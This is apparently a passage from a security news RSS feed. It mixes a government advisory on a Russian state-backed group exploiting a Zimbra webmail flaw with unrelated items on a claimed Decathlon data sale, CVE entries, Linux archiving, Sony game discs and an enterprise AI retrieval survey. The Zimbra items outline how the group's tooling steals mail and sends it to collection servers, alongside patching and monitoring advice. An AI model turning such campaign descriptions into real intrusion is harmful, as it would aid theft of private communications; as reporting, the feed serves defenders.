The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
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<title><![CDATA[Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records]]></title>
<description><![CDATA[A threat actor is allegedly claiming to possess and sell a Decathlon customer database containing approximately 160 million records. The database was advertised on a cybercrime forum, where the seller stated that payment would be accepted through cryptocurrency. The alleged…
Read more →
The post ...]]></description>
<link>https://tsecurity.de/de/3690656/it-security-nachrichten/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690656/it-security-nachrichten/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/</guid>
<pubDate>Fri, 24 Jul 2026 06:07:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A threat actor is allegedly claiming to possess and sell a Decathlon customer database containing approximately 160 million records. The database was advertised on a cybercrime forum, where the seller stated that payment would be accepted through cryptocurrency. The alleged…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/">Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-24 06h : 1 posts]]></title>
<description><![CDATA[1 posts were published in the last hour 4:2 : Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records
Read more →
The post IT Security News Hourly Summary 2026-07-24 06h : 1 posts appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3690655/it-security-nachrichten/it-security-news-hourly-summary-2026-07-24-06h-1-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690655/it-security-nachrichten/it-security-news-hourly-summary-2026-07-24-06h-1-posts/</guid>
<pubDate>Fri, 24 Jul 2026 06:07:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>1 posts were published in the last hour 4:2 : Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-24-06h-1-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-24-06h-1-posts/">IT Security News Hourly Summary 2026-07-24 06h : 1 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-49159 | Microsoft Graph information disclosure (EUVD-2026-48456)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Graph. It has been declared as problematic. This vulnerability affects unknown code. The manipulation results in information disclosure.

This vulnerability is identified as CVE-2026-49159. The attack can be executed remotely. There is not any exploit availa...]]></description>
<link>https://tsecurity.de/de/3690649/sicherheitsluecken/cve-2026-49159-microsoft-graph-information-disclosure-euvd-2026-48456/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690649/sicherheitsluecken/cve-2026-49159-microsoft-graph-information-disclosure-euvd-2026-48456/</guid>
<pubDate>Fri, 24 Jul 2026 06:05:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:graph">Microsoft Graph</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This vulnerability affects unknown code. The manipulation results in information disclosure.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-49159">CVE-2026-49159</a>. The attack can be executed remotely. There is not any exploit available.

This product is a managed service, indicating that users are not permitted to maintain vulnerability countermeasures themselves.]]></content:encoded>
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<title><![CDATA[Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records]]></title>
<description><![CDATA[A threat actor is allegedly claiming to possess and sell a Decathlon customer database containing approximately 160 million records. The database was advertised on a cybercrime forum, where the seller stated that payment would be accepted through cryptocurrency. The alleged breach has not been in...]]></description>
<link>https://tsecurity.de/de/3690640/it-security-nachrichten/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690640/it-security-nachrichten/hackers-allegedly-claim-breach-of-decathlon-customer-database-with-160-million-records/</guid>
<pubDate>Fri, 24 Jul 2026 06:03:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A threat actor is allegedly claiming to possess and sell a Decathlon customer database containing approximately 160 million records. The database was advertised on a cybercrime forum, where the seller stated that payment would be accepted through cryptocurrency. The alleged breach has not been independently verified, and Decathlon has not publicly confirmed that its systems […]</p>
<p>The post <a href="https://cybersecuritynews.com/decathlon-alleged-breach/">Hackers Allegedly Claim Breach of Decathlon Customer Database With 160 Million Records</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[This Searchable Tool Is Helping Track Flock Surveillance Cameras in Your City]]></title>
<description><![CDATA[The Atlas of Surveillance database is the largest-ever repository of police surveillance technologies in the US.]]></description>
<link>https://tsecurity.de/de/3690527/it-nachrichten/this-searchable-tool-is-helping-track-flock-surveillance-cameras-in-your-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690527/it-nachrichten/this-searchable-tool-is-helping-track-flock-surveillance-cameras-in-your-city/</guid>
<pubDate>Fri, 24 Jul 2026 03:36:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Atlas of Surveillance database is the largest-ever repository of police surveillance technologies in the US.]]></content:encoded>
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<title><![CDATA[ZDI-26-447: Heimdall Data Database Proxy generateFileContent CRLF Injection Remote Code Execution Vulnerability]]></title>
<description><![CDATA[This vulnerability allows remote attackers to execute arbitrary code on affected installations of Heimdall Data Database Proxy. Authentication is required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2026-12357.]]></description>
<link>https://tsecurity.de/de/3690365/sicherheitsluecken/zdi-26-447-heimdall-data-database-proxy-generatefilecontent-crlf-injection-remote-code-execution-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690365/sicherheitsluecken/zdi-26-447-heimdall-data-database-proxy-generatefilecontent-crlf-injection-remote-code-execution-vulnerability/</guid>
<pubDate>Fri, 24 Jul 2026 00:31:59 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This vulnerability allows remote attackers to execute arbitrary code on affected installations of Heimdall Data Database Proxy. Authentication is required to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2026-12357.]]></content:encoded>
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<title><![CDATA[Community Fedora Remix 12.3 hopefully soon to be archived :)]]></title>
<description><![CDATA[In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me o...]]></description>
<link>https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me out to a basic shell due to some kind of error. If I can get it to work, I can upload it stand-alone since it only seems to preserved in archives or Linux User magazine and !com magazine cover DVDs (the former or which has a LOT of potentially otherwise-unarchived distro versions)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Iheretomakeonepost"> /u/Iheretomakeonepost </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Wordfence Intelligence Weekly WordPress Vulnerability Report (July 13, 2026 to July 19, 2026)]]></title>
<description><![CDATA[Last week, there were disclosed in WordPress Core, and no WordPress themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were that contributed to WordPress Security last week. Review those vulnerabilities in this report now to…
Read more →
The post Wordfence...]]></description>
<link>https://tsecurity.de/de/3690225/it-security-nachrichten/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-13-2026-to-july-19-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690225/it-security-nachrichten/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-13-2026-to-july-19-2026/</guid>
<pubDate>Thu, 23 Jul 2026 23:06:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Last week, there were disclosed in WordPress Core, and no WordPress themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were that contributed to WordPress Security last week. Review those vulnerabilities in this report now to…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-13-2026-to-july-19-2026/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/wordfence-intelligence-weekly-wordpress-vulnerability-report-july-13-2026-to-july-19-2026/">Wordfence Intelligence Weekly WordPress Vulnerability Report (July 13, 2026 to July 19, 2026)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Sony's Decision To Ditch Discs Was Practically Inevitable, Data Shows]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Many gamers have been lamenting Sony's recently announced decision to halt sales of physical game discs in 2028. However, new data revealed by Circana analyst Mat Piscatella highlights how years of stark economic trends helped lead Sony to th...]]></description>
<link>https://tsecurity.de/de/3690046/it-security-nachrichten/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690046/it-security-nachrichten/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows/</guid>
<pubDate>Thu, 23 Jul 2026 21:11:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Many gamers have been lamenting Sony's recently announced decision to halt sales of physical game discs in 2028. However, new data revealed by Circana analyst Mat Piscatella highlights how years of stark economic trends helped lead Sony to that decision. In a social media thread Thursday morning, Piscatella shared insights into Circana's tracking data on physical game sales in the U.S. dating back to 2003. A graph of those trends shows physical sales peaking in the 12 months ending June 2009, when 297 million units were sold across the US. Those physical unit sales have been on a steady downward trajectory since then, leading to just 37 million physical units selling in the U.S. in the last 12 months.
 
The newly revealed data follows on an earlier post from Piscatella highlighting that only seven PlayStation games had sold over 100,000 physical units so far in 2026. Today, Piscatella followed up on that stat with a graph showing how this baseline used to be common; 100 PlayStation games sold at least 100,000 physical units in 2008. The ceiling for physical PlayStation game sales isn't all that impressive these days either; Piscatella shared that the top-selling physical PlayStation game has only sold a paltry 275,000 units in the U.S. so far this year.
 
There are some small signs of hope for the physical game market, if you squint. Piscatella noted that aggregate spending on physical video games in the U.S. was actually up 4 percent year-to-date, compared to the year before. But that small increase is a mere blip following 16 straight years of sizable declines in physical game spending in the US, reducing a peak of $11.5 billion in physical spending in 2009 to a mere $1.6 billion for the 12 months ending in May. And Piscatella attributed the recent growth in physical spending to "the Switch 2 and physical sales growth on Nintendo platforms," while other platforms (such as PlayStation) were still seeing "percentage drops from the teens to the mid 30s" in that spending.<p></p><div class="share_submission">
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</div><p><a href="https://games.slashdot.org/story/26/07/23/1825217/sonys-decision-to-ditch-discs-was-practically-inevitable-data-shows?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
